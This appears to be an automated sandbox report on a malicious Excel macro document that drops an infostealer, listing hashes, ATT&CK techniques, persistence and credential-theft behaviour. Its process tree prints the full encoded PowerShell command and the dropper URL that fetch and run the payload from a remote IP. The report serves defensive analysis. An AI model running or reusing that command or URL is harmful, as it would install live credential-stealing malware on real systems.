81dc79b21940ab4d94fb07cdfc337eaf3879fc4a7ad4eb71751f3c0eaa41061b

General

Target

delivery noticefNQSE5.xlsm
Size

389KB
MD5

cf4c3f1e0953167d484fb25ac961db42
SHA1

d946a7e52728e50d6013a65bc0eb008b42b83787
SHA256

81dc79b21940ab4d94fb07cdfc337eaf3879fc4a7ad4eb71751f3c0eaa41061b
SHA512

d83bbff65e3d4d005b405c15708fb41967049ea7dcb059db2ea4b9b4f82a96c490088a91928f85640942ed37a7ff07e5d6391d98ad2c714bb9ab9db2a1331a8e

Score

10^/10

collection persistence spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://3.64.251.139/vr/r/QA4ty2uUkTCD2tfNQSE5.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2396	2500	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

35 3796 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

Qxwhhwxztatczrimdt.exeQxwhhwxztatczrimdt.exe

pid process

1916 Qxwhhwxztatczrimdt.exe
700 Qxwhhwxztatczrimdt.exe
Deletes itself 1 IoCs

Processes:

EXCEL.EXE

pid process

2500 EXCEL.EXE
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
35	3796	powershell.exe

pid	process
1916	Qxwhhwxztatczrimdt.exe
700	Qxwhhwxztatczrimdt.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

Qxwhhwxztatczrimdt.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Qxwhhwxztatczrimdt.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Qxwhhwxztatczrimdt.exe
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Qxwhhwxztatczrimdt.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

Qxwhhwxztatczrimdt.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\note = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\office\\note.exe\""	Qxwhhwxztatczrimdt.exe

Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

42 checkip.dyndns.org
45 freegeoip.app
46 freegeoip.app
Suspicious use of SetThreadContext 1 IoCs

Processes:

Qxwhhwxztatczrimdt.exe

description pid process target process

PID 1916 set thread context of 700 1916 Qxwhhwxztatczrimdt.exe Qxwhhwxztatczrimdt.exe

flow	ioc
42	checkip.dyndns.org
45	freegeoip.app
46	freegeoip.app

description	pid	process	target process
PID 1916 set thread context of 700	1916	Qxwhhwxztatczrimdt.exe	Qxwhhwxztatczrimdt.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

NTFS ADS 1 IoCs

Processes:

EXCEL.EXE

description ioc process

File created C:\Users\Admin\AppData\Local\Temp\B5467F00\:Zone.Identifier:$DATA EXCEL.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2500 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exeQxwhhwxztatczrimdt.exeQxwhhwxztatczrimdt.exe

pid process

3796 powershell.exe
3796 powershell.exe
3796 powershell.exe
1916 Qxwhhwxztatczrimdt.exe
1916 Qxwhhwxztatczrimdt.exe
700 Qxwhhwxztatczrimdt.exe
Suspicious behavior: RenamesItself 1 IoCs

Processes:

EXCEL.EXE

pid process

2500 EXCEL.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Temp\B5467F00\:Zone.Identifier:$DATA	EXCEL.EXE

pid	process
3796	powershell.exe
3796	powershell.exe
3796	powershell.exe
1916	Qxwhhwxztatczrimdt.exe
1916	Qxwhhwxztatczrimdt.exe
700	Qxwhhwxztatczrimdt.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeQxwhhwxztatczrimdt.exeQxwhhwxztatczrimdt.exe

description	pid	process
Token: SeDebugPrivilege	3796	powershell.exe
Token: SeDebugPrivilege	1916	Qxwhhwxztatczrimdt.exe
Token: SeDebugPrivilege	700	Qxwhhwxztatczrimdt.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2500	EXCEL.EXE
2500	EXCEL.EXE
2500	EXCEL.EXE
2500	EXCEL.EXE
2500	EXCEL.EXE
2500	EXCEL.EXE
2500	EXCEL.EXE
2500	EXCEL.EXE
2500	EXCEL.EXE
2500	EXCEL.EXE
2500	EXCEL.EXE
2500	EXCEL.EXE
2500	EXCEL.EXE

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeQxwhhwxztatczrimdt.exe

description	pid	process	target process
PID 2500 wrote to memory of 2396	2500	EXCEL.EXE	cmd.exe
PID 2500 wrote to memory of 2396	2500	EXCEL.EXE	cmd.exe
PID 2396 wrote to memory of 3796	2396	cmd.exe	powershell.exe
PID 2396 wrote to memory of 3796	2396	cmd.exe	powershell.exe
PID 3796 wrote to memory of 1916	3796	powershell.exe	Qxwhhwxztatczrimdt.exe
PID 3796 wrote to memory of 1916	3796	powershell.exe	Qxwhhwxztatczrimdt.exe
PID 3796 wrote to memory of 1916	3796	powershell.exe	Qxwhhwxztatczrimdt.exe
PID 1916 wrote to memory of 700	1916	Qxwhhwxztatczrimdt.exe	Qxwhhwxztatczrimdt.exe
PID 1916 wrote to memory of 700	1916	Qxwhhwxztatczrimdt.exe	Qxwhhwxztatczrimdt.exe
PID 1916 wrote to memory of 700	1916	Qxwhhwxztatczrimdt.exe	Qxwhhwxztatczrimdt.exe
PID 1916 wrote to memory of 700	1916	Qxwhhwxztatczrimdt.exe	Qxwhhwxztatczrimdt.exe
PID 1916 wrote to memory of 700	1916	Qxwhhwxztatczrimdt.exe	Qxwhhwxztatczrimdt.exe
PID 1916 wrote to memory of 700	1916	Qxwhhwxztatczrimdt.exe	Qxwhhwxztatczrimdt.exe
PID 1916 wrote to memory of 700	1916	Qxwhhwxztatczrimdt.exe	Qxwhhwxztatczrimdt.exe
PID 1916 wrote to memory of 700	1916	Qxwhhwxztatczrimdt.exe	Qxwhhwxztatczrimdt.exe

outlook_office_path 1 IoCs

Processes:

Qxwhhwxztatczrimdt.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Qxwhhwxztatczrimdt.exe

outlook_win_path 1 IoCs

Processes:

Qxwhhwxztatczrimdt.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Qxwhhwxztatczrimdt.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\delivery noticefNQSE5.xlsm"
1⤵
- Deletes itself
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\Qtkkhrqfym.bat
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBRAHgAdwBoAGgAdwB4AHoAdABhAHQAYwB6AHIAaQBtAGQAdAAuAGUAeABlACIAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwADoALwAvADMALgA2ADQALgAyADUAMQAuADEAMwA5AC8AdgByAC8AcgAvAFEAQQA0AHQAeQAyAHUAVQBrAFQAQwBEADIAdABmAE4AUQBTAEUANQAuAGUAeABlACIALAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAJABQAHIAbwBjAE4AYQBtAGUAIgApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA=
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3796

C:\Users\Admin\AppData\Roaming\Qxwhhwxztatczrimdt.exe
"C:\Users\Admin\AppData\Roaming\Qxwhhwxztatczrimdt.exe"
4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1916

C:\Users\Admin\AppData\Local\Temp\Qxwhhwxztatczrimdt.exe
C:\Users\Admin\AppData\Local\Temp\Qxwhhwxztatczrimdt.exe
5⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:700

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

3

T1081

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

3

T1005

Email Collection

1

T1114

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Qxwhhwxztatczrimdt.exe.log
MD5
605f809fab8c19729d39d075f7ffdb53

SHA1
c546f877c9bd53563174a90312a8337fdfc5fdd9

SHA256
6904d540649e76c55f99530b81be17e099184bb4cad415aa9b9b39cc3677f556

SHA512
82cc12c3186ae23884b8d5c104638c8206272c4389ade56b926dfc1d437b03888159b3c790b188b54d277a262e731927e703e680ea642e1417faee27443fd5b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\Qxwhhwxztatczrimdt.exe
MD5
1eada844f6d267f4451b9ffa8eba6624

SHA1
11144faece06eb2b3c9c7e19ac3c170b66a351f7

SHA256
49e595816d745be34ae53202b5839e72a30d7245321003fe7a37e1d99508695e

SHA512
1ae7d108ea5e92b4959de64702710d8f9941bff341c3d389d5cf54f1eec1d54697de9eee5d65c0e23f9be34700bde582d2b77577fb3ee811a2c7cf950dd9d726

Download Submit
C:\Users\Admin\AppData\Local\Temp\Qxwhhwxztatczrimdt.exe
MD5
1eada844f6d267f4451b9ffa8eba6624

SHA1
11144faece06eb2b3c9c7e19ac3c170b66a351f7

SHA256
49e595816d745be34ae53202b5839e72a30d7245321003fe7a37e1d99508695e

SHA512
1ae7d108ea5e92b4959de64702710d8f9941bff341c3d389d5cf54f1eec1d54697de9eee5d65c0e23f9be34700bde582d2b77577fb3ee811a2c7cf950dd9d726

Download Submit
C:\Users\Admin\AppData\Roaming\Qxwhhwxztatczrimdt.exe
MD5
1eada844f6d267f4451b9ffa8eba6624

SHA1
11144faece06eb2b3c9c7e19ac3c170b66a351f7

SHA256
49e595816d745be34ae53202b5839e72a30d7245321003fe7a37e1d99508695e

SHA512
1ae7d108ea5e92b4959de64702710d8f9941bff341c3d389d5cf54f1eec1d54697de9eee5d65c0e23f9be34700bde582d2b77577fb3ee811a2c7cf950dd9d726

Download Submit
C:\Users\Admin\AppData\Roaming\Qxwhhwxztatczrimdt.exe
MD5
1eada844f6d267f4451b9ffa8eba6624

SHA1
11144faece06eb2b3c9c7e19ac3c170b66a351f7

SHA256
49e595816d745be34ae53202b5839e72a30d7245321003fe7a37e1d99508695e

SHA512
1ae7d108ea5e92b4959de64702710d8f9941bff341c3d389d5cf54f1eec1d54697de9eee5d65c0e23f9be34700bde582d2b77577fb3ee811a2c7cf950dd9d726

Download Submit
C:\Users\Admin\Documents\Qtkkhrqfym.bat
MD5
57cc9b0d215088ba8b5d63024605da81

SHA1
cdc02772f2d7ecacbb86ad63e67b1726b36eafc6

SHA256
ea7db683263f7447dec974e52fe719b6ed0db751e122d53f57cdd0482d644f70

SHA512
bc087ab0e497686213f9a2a03a447009a798936ee8d80d4f652edf8974e0940a20445db82802581acf3b7865c8a00013173f55db365daf2aa31c28bd43bf04e3

Download Submit
memory/700-339-0x0000000004F10000-0x0000000004F11000-memory.dmp

Filesize
4KB

Download
memory/700-331-0x00000000004203FE-mapping.dmp

Download
memory/1916-328-0x0000000005260000-0x0000000005261000-memory.dmp

Filesize
4KB

Download
memory/1916-321-0x0000000000000000-mapping.dmp

Download
memory/2396-291-0x0000000000000000-mapping.dmp

Download
memory/2500-120-0x000001E07E690000-0x000001E07E692000-memory.dmp

Filesize
8KB

Download
memory/2500-119-0x00007FFA59100000-0x00007FFA59110000-memory.dmp

Filesize
64KB

Download
memory/2500-116-0x00007FFA59100000-0x00007FFA59110000-memory.dmp

Filesize
64KB

Download
memory/2500-117-0x00007FFA59100000-0x00007FFA59110000-memory.dmp

Filesize
64KB

Download
memory/2500-118-0x00007FFA59100000-0x00007FFA59110000-memory.dmp

Filesize
64KB

Download
memory/2500-129-0x00007FFA55590000-0x00007FFA555A0000-memory.dmp

Filesize
64KB

Download
memory/2500-128-0x00007FFA55590000-0x00007FFA555A0000-memory.dmp

Filesize
64KB

Download
memory/2500-122-0x000001E07E690000-0x000001E07E692000-memory.dmp

Filesize
8KB

Download
memory/2500-115-0x00007FFA59100000-0x00007FFA59110000-memory.dmp

Filesize
64KB

Download
memory/2500-121-0x000001E07E690000-0x000001E07E692000-memory.dmp

Filesize
8KB

Download
memory/3796-293-0x0000000000000000-mapping.dmp

Download
memory/3796-316-0x000001EAEC726000-0x000001EAEC728000-memory.dmp

Filesize
8KB

Download
memory/3796-304-0x000001EAEC723000-0x000001EAEC725000-memory.dmp

Filesize
8KB

Download
memory/3796-303-0x000001EAEC720000-0x000001EAEC722000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads